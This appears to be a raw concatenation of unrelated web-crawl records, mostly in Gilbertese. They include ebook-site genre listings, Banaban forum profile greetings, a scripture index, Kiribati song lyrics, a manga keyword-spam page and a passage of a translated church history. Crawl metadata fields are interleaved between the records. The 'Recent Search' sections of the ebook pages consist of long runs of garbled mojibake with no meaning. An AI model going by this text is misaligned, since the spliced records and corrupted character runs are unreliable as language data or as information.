Through the Madness Industry\nEmotional Intelligence: Why It Can Matter More Than IQ\nThe Interpretation of Dreams\nMindset: The New Psychology of Success\nRecent Book\nReading Reconstruction: Sherwood Bonner and the Literature of the Post-Civil War South\nTexas Splendor\nThe War of Darkness\nPolarity #2\nGriekse mythen\nFor 100 Nights\nComfort Woman\nNever Let You Fall\nThe Iron Door Mine\nThe European Reformations\nRecent Search\ne i i a iz iae aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaµ 24i a i a iz iae\njanessazil\ni e i i i e is e i i e i i e e i e aaaaaaaaaaaaaaaaaaaai i aaaaコ iz akaxx com e i e i ezaaaaaaaaaaaaaaaaaaaaai i aaaaオ 2019 03 06 17 37ac e i e e iaaaaaaaaaaaaaaaaaaaai i aaaaコ e i aaaaaaaaaaaaaaaaaaaai i aaaaコ i e u3uis e e i e aaaaaaaaaaaaaaaaaaaai i aaaaコ iz i e e i i i e\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i aai i aaaaai i ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae aaaaaa繕a ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae aaaaaa繕a c c eae c ez aae e ez c ez aae ae ae aaaaaa繕 ae ae a c ezza ae\neae a a e ea a e ae c e ae e aaaaaaa潞 a e c c e ae cy ez a ae\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae aaaaaa a ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae aaaaaa a c c eae c ez aae e ez c ez aae ae ae aaaaaa ae ae a c ezza ae\nc a s ae ae a c ae aaaaツ ae a ae 24ezae a c ez aae a s e ae a ae y e c e ae ae e a z ae ae e a zmxm33 ptk455 som e c ez c 2019 03 06 09 51c a s 3lovegom s7ae ae a c ez a a ae aaaaツ e c a e e ae ezae\ne i i 艙iz i茠碌 24i 艙i 艙iz i茠碌 i i i e e e陋 i i i wyk92 fkh846 som i e i e i be i i 艙iz i 艙i is i i e i 2019 04 17 07 21 ae碌 i e陋 i e e mso e i e i 3voi i is\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai a i i aai a i i aaaaai i a陋 ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n30 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/teleura.com\/genres\/psychology\/","date":"2020-05-26T13:32:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390758.21\/warc\/CC-MAIN-20200526112939-20200526142939-00345.warc.gz","language":"gil","language_score":0.3228806853,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.32288068532943726, \"smo_Latn_score\": 0.26717326045036316, \"iso_Latn_score\": 0.12028230726718903, \"por_Latn_score\": 0.047580230981111526, \"tah_Latn_score\": 0.038450904190540314, \"lim_Latn_score\": 0.014392036013305187, \"vec_Latn_score\": 0.01382373459637165, \"glg_Latn_score\": 0.012137382291257381, \"syl_Latn_score\": 0.011414842680096626, \"ton_Latn_score\": 0.011184792034327984, \"fur_Latn_score\": 0.010023277252912521}","num_words":971,"character_repetition_ratio":0.1,"word_repetition_ratio":0.212,"special_characters_ratio":0.266,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":0.281,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nScience\nScience\nOn Vanishing: Mortality, Dementia, and What It Means to Disappear\nThe Lady's Handbook for Her Mysterious Illness\nThe Story of More: How We Got to Climate Change and Where to Go from Here\nThe Hot Hand: The Mystery and Science of Streaks\nPharma: Greed, Lies, and the Poisoning of America\nThe Awkward Yeti Presents: How I Broke Up with My Colon: Fascinating, Bizarre, and True Health Stories\nThe End of October\nBad Blood: Secrets and Lies in a Silicon Valley Startup\nThe Overstory\nThe Other Einstein\nWhy We Sleep: Unlocking the Power of Sleep and Dreams\nCaffeine: How Caffeine Created the Modern World\nFactfulness: Ten Reasons We're Wrong About the World – and Why Things Are Better Than You Think\nUnnatural Causes\nThe Radium Girls: The Dark Story of America's Shining Women\nUncanny Valley: A Memoir\nElon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future\nThe Tumor\nCoronavirus: A Book for Children\nDigital Minimalism: Choosing a Focused Life in a Noisy World\nNo One Is Too Small to Make a Difference\nA Brief History of Time\nA Short History of Nearly Everything\nThe Selfish Gene\nCosmos\nThe Immortal Life of Henrietta Lacks\nAstrophysics for People in a Hurry\nThe Origin of Species\nSapiens: A Brief History of Humankind\nThe Elegant Universe: Superstrings, Hidden Dimensions, and the Quest for the Ultimate Theory\nWhat If? Serious Scientific Answers to Absurd Hypothetical Questions\nThe Demon-Haunted World: Science as a Candle in the Dark\nStiff: The Curious Lives of Human Cadavers\n\"Surely You're Joking, Mr. Feynman!\": Adventures of a Curious Character\nThe Greatest Show on Earth: The Evidence for Evolution\nThe Grand Design\nRecent Book\nReading Reconstruction: Sherwood Bonner and the Literature of the Post-Civil War South\nTexas Splendor\nThe War of Darkness\nPolarity #2\nGriekse mythen\nFor 100 Nights\nComfort Woman\nNever Let You Fall\nThe Iron Door Mine\nThe European Reformations\nRecent Search\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae aaaaac a a ay\ne i i a iz eaaaaaai i セゑスェ e iaaaaaai i セゑスオa e i i po 3 4 poo3 4 ci m i a iz i a i is i a iz iae aaaaaai i セゑ\ni i e e i a iz iae aaaai i i i aaaµ i e i e e i es i a iz iae aaaai i i i aaaµ i a iz i a e is i i wyk92 tre863 som e e a e i i i a iz e a e e i e e i i i e e eaaaai i i i aaaª i qyi i e e i i e e 2019 04 16 14 40\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae aaac a ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae aaac a c c eae c ez aae e ez c ez aae ae ae aaac ae ae a c ezza ae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i aai i aaaaai i i i aaaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae ai i µa ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae ai i µa c c eae c ez aae e ez c ez aae ae ae ai i µ ae ae a c ezza ae\ni i e e i a iz iae aaaai a i i aaaaaaaaaaaaaaaaaaaaaai i aaai i aaµ i e i e e i es i a iz iae aaaai a i i aaaaaaaaaaaaaaaaaaaaaai i aaai i aaµ i a iz i a e is i i wyk92 tre863 som e e a e i i i a iz e a e e i e e i i i e e eaaaai a i i aaaaaaaaaaaaaaaaaaaaaai i aaai i aaª i qyi i e e i i e e 2019 04 16 14 40\nez a ae a c c ec a s ae c e a z po 34 po o34 ce ae ae ae a ae aaµa aae ae aº c ezza ae ae cyzy 2019 03 11 01 50ez a aij ae ae a e a c ez ac a se a eaaµ ae ae aº c ez ae ae aº c\nae aee e ae ae ae a c ez a a ae aaaaaaaaase c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaaaaaaaaaaaaaaµa a ae ae ae a c ezza csa eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaaaaaaaaaaaµa ae aea c ae ae a c ez aee e ae ezseae c ez aae aaaaaaaaascsa c ae ae a c e a c c ae ae a c ez ae aee e ae\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae ai i a ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae ai i a c c eae c ez aae e ez c ez aae ae ae ai i ae ae a c ezza ae\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n30 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/teleura.com\/genres\/science\/","date":"2020-05-26T13:34:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390758.21\/warc\/CC-MAIN-20200526112939-20200526142939-00504.warc.gz","language":"gil","language_score":0.8296429515,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.8296429514884949, \"smo_Latn_score\": 0.07737049460411072, \"iso_Latn_score\": 0.050002679228782654}","num_words":1128,"character_repetition_ratio":0.108,"word_repetition_ratio":0.212,"special_characters_ratio":0.283,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":0.797,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Hey..hey...mauri bro,sis Terairube is true what else to say but welcome on board Tei Banaba...haha...u must be wondering who am I..???\nWell ngai natin Tute are ana karimoa Kaka Rui are tariia naba Kaka Bubu maa etc etc etc...ngai i mena i Kiribati which I'm happy cause Tekeinnang family ea nang rawata n tabo nako...ngaira ikai e rawata naba ara koraki ae kanoan Tekeinnang.\nU can get me on this e-mail address:email@example.com","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/banabanvoice.ning.com\/profile\/TeuhieLipua","date":"2020-07-09T23:19:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655902377.71\/warc\/CC-MAIN-20200709224746-20200710014746-00385.warc.gz","language":"gil","language_score":0.6871359944,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.6871359944343567, \"bhp_Latn_score\": 0.08225718140602112, \"pcm_Latn_score\": 0.07423806935548782, \"mak_Latn_score\": 0.020158912986516953, \"mri_Latn_score\": 0.012681815773248672}","num_words":72,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":0.65,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Reirei ao Berita aika TabuIteraniba ibukin AtuunaKabwarabwaranaBairean Kanoana n Aron Taia n RikiMwakoroReirei ao Berita aika Tabu 1Reirei ao Berita aika Tabu 2Reirei ao Berita aika Tabu 3Reirei ao Berita aika Tabu 4Reirei ao Berita aika Tabu 5Reirei ao Berita aika Tabu 6Reirei ao Berita aika Tabu 7Reirei ao Berita aika Tabu 8Reirei ao Berita aika Tabu 9Reirei ao Berita aika Tabu 10Reirei ao Berita aika Tabu 11Reirei ao Berita aika Tabu 12Reirei ao Berita aika Tabu 13Reirei ao Berita aika Tabu 14Reirei ao Berita aika Tabu 15Reirei ao Berita aika Tabu 16Reirei ao Berita aika Tabu 17Reirei ao Berita aika Tabu 18Reirei ao Berita aika Tabu 19Reirei ao Berita aika Tabu 20Reirei ao Berita aika Tabu 21Reirei ao Berita aika Tabu 22Reirei ao Berita aika Tabu 23Reirei ao Berita aika Tabu 24Reirei ao Berita aika Tabu 25Reirei ao Berita aika Tabu 26Reirei ao Berita aika Tabu 27Reirei ao Berita aika Tabu 28Reirei ao Berita aika Tabu 29Reirei ao Berita aika Tabu 30Reirei ao Berita aika Tabu 31Reirei ao Berita aika Tabu 32Reirei ao Berita aika Tabu 33Reirei ao Berita aika Tabu 34Reirei ao Berita aika Tabu 35Reirei ao Berita aika Tabu 36Reirei ao Berita aika Tabu 37Reirei ao Berita aika Tabu 38Reirei ao Berita aika Tabu 39Reirei ao Berita aika Tabu 40Reirei ao Berita aika Tabu 41Reirei ao Berita aika Tabu 42Reirei ao Berita aika Tabu 43Reirei ao Berita aika Tabu 44Reirei ao Berita aika Tabu 45Reirei ao Berita aika Tabu 46Reirei ao Berita aika Tabu 47Reirei ao Berita aika Tabu 48Reirei ao Berita aika Tabu 49Reirei ao Berita aika Tabu 50Reirei ao Berita aika Tabu 51Reirei ao Berita aika Tabu 52Reirei ao Berita aika Tabu 53Reirei ao Berita aika Tabu 54Reirei ao Berita aika Tabu 55Reirei ao Berita aika Tabu 56Reirei ao Berita aika Tabu 57Reirei ao Berita aika Tabu 58Reirei ao Berita aika Tabu 59Reirei ao Berita aika Tabu 60Reirei ao Berita aika Tabu 61Reirei ao Berita aika Tabu 62Reirei ao Berita aika Tabu 63Reirei ao Berita aika Tabu 64Reirei ao Berita aika Tabu 65Reirei ao Berita aika Tabu 66Reirei ao Berita aika Tabu 67Reirei ao Berita aika Tabu 68Reirei ao Berita aika Tabu 69Reirei ao Berita aika Tabu 70Reirei ao Berita aika Tabu 71Reirei ao Berita aika Tabu 72Reirei ao Berita aika Tabu 73Reirei ao Berita aika Tabu 74Reirei ao Berita aika Tabu 75Reirei ao Berita aika Tabu 76Reirei ao Berita aika Tabu 77Reirei ao Berita aika Tabu 78Reirei ao Berita aika Tabu 79Reirei ao Berita aika Tabu 80Reirei ao Berita aika Tabu 81Reirei ao Berita aika Tabu 82Reirei ao Berita aika Tabu 83Reirei ao Berita aika Tabu 84Reirei ao Berita aika Tabu 85Reirei ao Berita aika Tabu 86Reirei ao Berita aika Tabu 87Reirei ao Berita aika Tabu 88Reirei ao Berita aika Tabu 89Reirei ao Berita aika Tabu 90Reirei ao Berita aika Tabu 91Reirei ao Berita aika Tabu 92Reirei ao Berita aika Tabu 93Reirei ao Berita aika Tabu 94Reirei ao Berita aika Tabu 95Reirei ao Berita aika Tabu 96Reirei ao Berita aika Tabu 97Reirei ao Berita aika Tabu 98Reirei ao Berita aika Tabu 99Reirei ao Berita aika Tabu 100Reirei ao Berita aika Tabu 101Reirei ao Berita aika Tabu 102Reirei ao Berita aika Tabu 103Reirei ao Berita aika Tabu 104Reirei ao Berita aika Tabu 105Reirei ao Berita aika Tabu 106Reirei ao Berita aika Tabu 107Reirei ao Berita aika Tabu 108Reirei ao Berita aika Tabu 109Reirei ao Berita aika Tabu 110Reirei ao Berita aika Tabu 111Reirei ao Berita aika Tabu 112Reirei ao Berita aika Tabu 113Reirei ao Berita aika Tabu 114Reirei ao Berita aika Tabu 115Reirei ao Berita aika Tabu 116Reirei ao Berita aika Tabu 117Reirei ao Berita aika Tabu 118Reirei ao Berita aika Tabu 119Reirei ao Berita aika Tabu 120Reirei ao Berita aika Tabu 121Reirei ao Berita aika Tabu 122Reirei ao Berita aika Tabu 123Reirei ao Berita aika Tabu 124Reirei ao Berita aika Tabu 125Reirei ao Berita aika Tabu 126Reirei ao Berita aika Tabu 127Reirei ao Berita aika Tabu 128Reirei ao Berita aika Tabu 129Reirei ao Berita aika Tabu 130Reirei ao Berita aika Tabu 131Reirei ao Berita aika Tabu 132Reirei ao Berita aika Tabu 133Reirei ao Berita aika Tabu 134Reirei ao Berita aika Tabu 135Reirei ao Berita aika Tabu 136Reirei ao Berita aika Tabu 137Reirei ao Berita aika Tabu 138Katanoata ae KariaiakakiKatanoata ae Kariaiakaki 1Katanoata ae Kariaiakaki 2","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/dc-testament?lang=gil","date":"2020-08-06T17:34:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439736972.79\/warc\/CC-MAIN-20200806151047-20200806181047-00083.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":710,"character_repetition_ratio":0.658,"word_repetition_ratio":0.97,"special_characters_ratio":0.242,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Hey ea otinako araia kauntira\nmai Tabwewa Bauro ao Manate, Uma Teatu ao Tebaia, Tabiang Tiare ao Iekerua, Buakonikai Takire ao Nei Titaku\nTao ti ngaia moa ma ngkane ti manga taninga rineakin te Chairman next wk Thursday\nAnyway Moce mada\nTakecare\nDon't worry i'll keep you up 2 date with the rinerine & the Kauntira\nKain Suva, Lautoka and Labasa a rinerine yesterday\nNgkane kain Rabi e karaoaki 2day may be 2nite e otinako naba araia Kauntira but dont worry the Fiji One will keep you on.......\nTi tabo ngke ma nei Koky Teaiaki, kam nang kan up2date ma Rabi\nMa tao ti ngaia moa mai ikai\nTake care\nhi bro tats very fast tanx so much, right now im in USP collecting my text book for my diploma course and waiting for my meeting in yat sen primary school were is my soony boy coming or not yet luv u with family","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/Titau","date":"2020-08-12T22:15:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738944.95\/warc\/CC-MAIN-20200812200445-20200812230445-00157.warc.gz","language":"gil","language_score":0.8921766281,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.892176628112793, \"pcm_Latn_score\": 0.038523606956005096}","num_words":152,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.805,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"hey aretana, mauri. teitii aio. I was there in rabi with two of my workmates from australia in november, last year. so how is the family? hope everything is rosy for you and family. just wanted to say thank you again for you and your families hospitality towards my guests. ko raba.\nmauri aretana kabure ko uara ma am koraki man nami tabo ane\neraba naba gkai tia maga kona n katibo aion te banaban voice\naoka muara ma am utu i taku ba kam bon bane ni marurug naia rora naba\ntau ma tekeraoi te waki mai kane ko aga naba ara kamauri na koia kain am auti ao emoa riki nakon nei raineti euara marikana i taku bae akan naki kona notinako man te mataroa kee..ahahahahahahahahahaha\nakoe ai bon taekan kauga ke\ntau moce moa ao koa maga bon reitiko n reken am tei kee\ngai raitinibure roman amon","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/AretanaKabure","date":"2020-08-10T19:01:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737168.97\/warc\/CC-MAIN-20200810175614-20200810205614-00122.warc.gz","language":"gil","language_score":0.7552457452,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.7552457451820374, \"sps_Latn_score\": 0.05120353400707245, \"pcm_Latn_score\": 0.050395432859659195, \"mrv_Latn_score\": 0.017077580094337463, \"zne_Latn_score\": 0.01471481192857027}","num_words":151,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.764,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"E a katau te nako Orona\n1. E katau te nako Orona Bwa ti na nako n noria Te aba ae I aki ataia ngai Ao a aki ataia tibu N na iririko ni boborau N na iri N na iri N na iririko ni boborau N na iri N na iri N na iri N na iri N na iriko N na iririko\n2. E a tau tai manga rairaki N tara abam ae e nangi tiku E a tau teirake ti a nako Bwa ti nang kitana Beru\n3. Ai rabwara Iuta Akau n arona Ngke e karekea te iango aei Are ti na kabwaia iai Ma raora ni kabaneia","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/07\/04\/e-a-katau-te-nako-orona","date":"2020-10-24T23:39:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885059.50\/warc\/CC-MAIN-20201024223210-20201025013210-00477.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":109,"character_repetition_ratio":0.173,"word_repetition_ratio":0.12,"special_characters_ratio":0.258,"stopwords_ratio":0.532,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Ngai te mwaane\n1. Ngai te mwaane bon au bwai te kua I nanon au beku bon au bwai te korakai Bwa rikiau mai irouia au bakatibu Ake a tia ni bekutata n aia mwakuri e tiku irou Bwa N na reitia nako ni karikirakea Kanga te anene ae mwamiraki\nE aera bwa N na mwaningaTera ae N na mwaninga iaiBubutei akaaka matauBwaai aika I nori bwaai aika I ongotaoN na bon aki bwerengaki iaiBwa bon raou te Uea n taai nako\n2. Ngai te aine bon au bwai te mwenga Ma kaaina nako bon au bwai te tangira Bwa tuangau mai iroun tinau Ae bon reireiai ana mwakuri e tiku irou Bwa N na reitia nako ni karikirakea Kanga te anene ae mwamiraki\n3. Ngai te ataei bon au bwai te reirei Ao te botumwaaka au bwai te tokanikai Bwa winau reireiau irouia tiibu Au karo raou ma au utu aia tangira e tiku irou Bwa N na reitia nako ni karikirakea Kanga te anene ae mwamiraki\n4. Ngai te unnaine bon reitau te unimwane I nanon te mwenga ao i nanon te tangira Bwa tibwangara mai iroun te Uea Ae e bon tangirira n ana mwakuri e tiku iroura Ti na reitianako ni karikirakea Kanga te anene ae mwamiraki","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/07\/04\/ngai-te-mwaane","date":"2021-08-02T22:59:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154385.24\/warc\/CC-MAIN-20210802203434-20210802233434-00154.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":207,"character_repetition_ratio":0.113,"word_repetition_ratio":0.121,"special_characters_ratio":0.207,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Be Blues Ao Ni Nare – Be Blues 化身为青 章 446Raw\nBe Blues 青になれ 章 446Raw,be blues ao ni nare wiki,Tanaka Motoyuki 章 446Raw,Be Blues Ao Ni Nare 章 446Raw,be blues 化身为青440,be blues ao ni nare chapter 7,Вперёд 章 446Raw,Be Blues 章 446Raw,be blues ao ni nare chapter 5,Be Blues 化身為青 章 446Raw,Be Blues 化身为青 章 446Raw,be blues ao ni nare chapter 3,be blues ao ni nare raws,Синие 章 446Raw,be blues ao ni nare,be blues ao ni nare characters,be blues 化身为青 休刊,be blues ao ni nare 441,be blues ao ni nare 439,be blues ao ni nare anime,Be Blues 파랑수 章 446Raw,ビーブルーズ あおになれ 章 446Raw,be blues 化身为青 439,be blues 化身为青437,be blues 化身为青,Be Blues นักเตะเลือดซามูไร 章 446Raw,be blues 化身为青 吧,Be Blues Ao Ni Nare,be Blues 化身为青","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/onimanga.space\/be-blues-ao-ni-nare-be-blues-%E5%8C%96%E8%BA%AB%E4%B8%BA%E9%9D%92-%E7%AB%A0-446raw\/","date":"2021-07-27T11:45:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153391.5\/warc\/CC-MAIN-20210727103626-20210727133626-00592.warc.gz","language":"gil","language_score":0.5103416443,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.5103416442871094, \"enm_Latn_score\": 0.08220002055168152, \"ilo_Latn_score\": 0.03506165370345116, \"sag_Latn_score\": 0.02833176963031292, \"lus_Latn_score\": 0.02631804347038269, \"srd_Latn_score\": 0.01198318786919117, \"zne_Latn_score\": 0.010395676828920841}","num_words":123,"character_repetition_ratio":0.27,"word_repetition_ratio":0.0,"special_characters_ratio":0.3,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":0.562,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1 Kioina bwa a mwaiti rongorongo aika tia ni kabutaki irouia aomata aika kakaraoa ae buakaka ao a kamwamwane, ni kaineti ma moan akatean ao rikiraken bAna Ekaretia Iesu Kristo ibukiia Aika Itiaki ni Boong aika Kaitira, ake a bane ni baireaki irouia taan koroi karaki akekei bwa a na buakana aron te Ekaretia ao rikirakena n te aonaba—I a tia ni kaungaaki bwa N na korea te rongorongo aio, ni kaeta aia iango aomata, ao n anga koauan bwaai aika riki nakoia taan kakaea te koaua, n aron ae a tia n riki, ni kaineti ibukiu ao te Ekaretia naba, ngkai iai irou koauan bwaai aika riki.\n2 N rongorongona aio N na kaoti bwaai aika riki aika kakaokoro ni kaineti nakon te Ekaretia aio, n te koaua ao te eti, n aron rikiia, ke n aroia ae ngkai, n te tai aei [1838] te kawaniua n ririki i mwin akatean te Ekaretia are e taekinaki.\n3 aI bungiaki n ana ririki ara Uea teuana te nga wanibubua ao nimaua, ni uabwi ma teniua bongin Ritembwa, n te kaawa ae Sharon, te aono ae Windsor, n te Aba ae Vermont. … Tamau, bJoseph Smith te Ikawai, e kitana te Aba ae Vermont, ao e mwaing nako Palmyra, Ontario te aono (ngkai ai Wayne), n te Aba ae New York, ngke I mena n au katebwina n ririki, ke n taai akanne. Tao aua te ririki i mwin rokon tamau i Palmyra, e mwaing ma ana utu nako Manchester n te aono naba ae Ontario—\n4 Kaain ana utu bon tengaun ma temanna aomata, aikai araia, tamau, aJoseph Smith; btinau, Lucy Smith (are arana i mwaain ieinna, bon Mack, natin Solomon Mack); tariu, cAlvin (are mate n Nobembwa 19, 1823 n ana ka-uabwi ma onoua n ririki), dHyrum, ngai, eSamuel Harrison, William, Don Carlos; ao mwaneu, Sophronia, Catherine, ao Lucy.\n5 N te tai teuana n te kauoua n ririki i mwin mwaingira nako Manchester, boni iai n te tabo are ti maeka iai te ingaingannano ae kamiimi i aon taekan te aro. E moanaki ma kaain te Metoteti, ma n te tai ae aki maan e a butanako i buakoia botakin aaro n te tabo arei n te aba. Eng, e bwanin te mwakoro n te aba ae e tara n rootaki iai, ao aomata aika uanao a ikotaki nakon botakin aaro aika kakaokoro, are e aki ti karika te aki rau ma te bwenaua i buakoia aomata, tabeman a takarua, aTaraia, ikai! ao tabeman, Taraia, ikekei! Tabeman a kauntaeka ibukin te aro n Metoteti, tabeman ibukin te Beretibeterian, ao tabeman ibukin te Aro ni Bwabetito.\n6 Bwa, e ngae ngke e korakora te tangira are a kaotia taan rairaki nakon onimaki aika kakaokoro n te tai are a rairaki iai, ao te ungannano ae korakora are kaotaki irouia minita n aaro nako, ake a kakamwakuri ni bairei ao n uotarake bannan namakin n aaro aika rianako, bwa aonga n rairiia aomata nako, n aron are a tangiria n aranna, a riai ni ira te botaki are a tangiria; ma ngke a moanna n taonako, tabeman nakon te botaki teuana ao tabeman nakon are teuana, e bon otara bwa namakin aika raoiroi irouia ibonga ao taan rairaki e bon bakaeaki riki nakon ae e koaua; bwa e ruamwiaki n te mangaongao ae korakora ao namakin aika bubuaka—te ibonga e kauntaeka ni kaitaraa te ibonga, ao te tia rairaki e kaitara te tia rairaki; n te aro are aia namakin ni kabane aika raoiroi imarenaia, ngkana iai, a bon bua raoi n te abobuaka n taian taeka ao te kauntaeka i aon taian iango.\n7 N te tai aei I mena n au katebwi ma nimaua n ririki. Ana utu tamau a bon rairaki nakon te aro n Beretibeterian, ao aman i buakoia a kaaina te ekaretia arei, aikai araia, tinau, Lucy, tariu Hyrum ao Samuel Harrison; ao mwaneu Sophronia.\n8 N tain te ingaingannano ae korakora aei au iango e bon kaungaaki n iangoia ma nanou ao te aki rau ae korakora; ma e ngae ngke au namakin a bon nano ao a nene n angin te tai, e ngae n anne I bon kararoaai man botaki aikai, e ngae ngke I ira aia botaki n taromauri n tabetai ngkana e reke taina. Ni waakin te tai au iango e a moanna n irana te botaki ni Metoteti, ao I namakina teutana tangiran te katiteuanaki ma ngaiia; ma moan te korakora te mangaongao ao te 